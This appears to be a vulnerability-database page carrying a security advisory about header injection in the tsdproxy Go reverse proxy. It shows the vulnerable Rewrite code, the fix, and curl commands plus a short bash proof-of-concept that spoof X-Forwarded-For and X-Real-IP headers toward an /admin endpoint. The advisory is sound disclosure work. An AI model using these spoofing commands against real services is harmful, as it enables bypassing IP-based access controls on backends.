GHSA-pqg7-v6wh-3pfpHigh· 8.5▾ TwilightTsDProxy: X-Forwarded-For header injection allows IP spoofing in proxied requests to backend services
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 46.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
The HTTP reverse proxy handler in tsdproxy does not strip the X-Forwarded-For (or X-Real-IP) header from incoming requests before calling r.SetXForwarded(). This allows an authenticated Tailscale user to inject arbitrary X-Forwarded-For values that are forwarded verbatim to backend services.
// internal/proxymanager/port.go -- Rewrite function
Rewrite: func(r *httputil.ProxyRequest) {
r.SetURL(pconfig.GetFirstTarget())
r.Out.Host = r.In.Host
// Strips tsdproxy identity headers (correct)
r.Out.Header.Del(consts.HeaderID)
r.Out.Header.Del(consts.HeaderRemoteUser)
r.Out.Header.Del(consts.HeaderXForwardedUser)
// ... other identity headers deleted ...
// X-Forwarded-For is NOT deleted before SetXForwarded!
// X-Real-IP is NOT deleted at all!
r.SetXForwarded() // APPENDS client IP to attacker-controlled XFF list
},
Per Go's httputil.ProxyRequest.SetXForwarded() documentation:
If the inbound request has an existing X-Forwarded-For header, SetXForwarded appends the inbound request's remote address to the list.
Result when attacker sends X-Forwarded-For: 127.0.0.1:
X-Real-IP is not handled at all -- if the attacker sets X-Real-IP: 127.0.0.1, it is forwarded to the backend verbatim without any overriding or stripping.
Many backend applications trust the first element of X-Forwarded-For (or X-Real-IP) for:
This is particularly impactful in tsdproxy's intended use case where the backend service is only accessible through tsdproxy -- making the proxy's header handling the sole enforcement point.
CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N = 7.7
High
internal/proxymanager/port.go -- newPortProxy Rewrite closurecurl -H "X-Forwarded-For: 127.0.0.1" \
https://<proxy-hostname>.ts.net/admin
For the X-Real-IP vector:
curl -H "X-Real-IP: 127.0.0.1" \
https://<proxy-hostname>.ts.net/admin
# Backend receives X-Real-IP: 127.0.0.1 verbatim
#!/bin/bash
# Demonstrate XFF injection through tsdproxy
PROXY_HOST="${1}" # e.g. myapp.my-tailnet.ts.net
curl -v \
-H "X-Forwarded-For: 127.0.0.1" \
-H "X-Real-IP: 127.0.0.1" \
"https://${PROXY_HOST}/"
# Expected: backend sees XFF: 127.0.0.1, <tailscale-ip>
# backend sees X-Real-IP: 127.0.0.1 (unmodified)
An authenticated Tailscale user who should only have regular user access can:
This is especially impactful because tsdproxy is designed as the sole access point for backend services that are otherwise network-isolated -- making the proxy the only enforcement boundary.
Fix: Add r.Out.Header.Del("X-Forwarded-For") and r.Out.Header.Del("X-Real-IP") in the Rewrite closure before calling r.SetXForwarded(). This ensures only the real Tailscale client IP appears in the XFF chain.
Reported by Vishal Shukla (@shukla304) using sechub.dev AI Agent
If this disclosure work has been useful, sponsoring helps fund continued open-source security audits -- appreciated either way.
github.com/almeidapaulopt/tsdproxy < 3.0.0-alpha.3Refer to the advisory for the patched release.
Connected by shared product, vendor, weakness, or advisory.
GO-2026-5982NoneTsDProxy: X-Forwarded-For header injection allows IP spoofing in proxied requests to backend services in github.com/almeidapaulopt/tsdproxy
GO-2026-5969NoneTSDProxy: Internal proxy auth token forwarded to backend services enables management API escalation in github.com/almeidapaulopt/tsdproxy
GHSA-g936-7jqj-mwv8Critical· 9.0TSDProxy: Internal proxy auth token forwarded to backend services enables management API escalation
CVE-2022-27924High· 7.5Zimbra Collaboration (aka ZCS) 8.8.15 and 9.0 allows an unauthenticated attacker to inject arbitrary memcache commands into a targeted instance
CVE-2026-54680Critical· 9.9Logging operator automates the deployment and configuration of Kubernetes logging pipelines
CVE-2026-53572Medium· 5.9KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping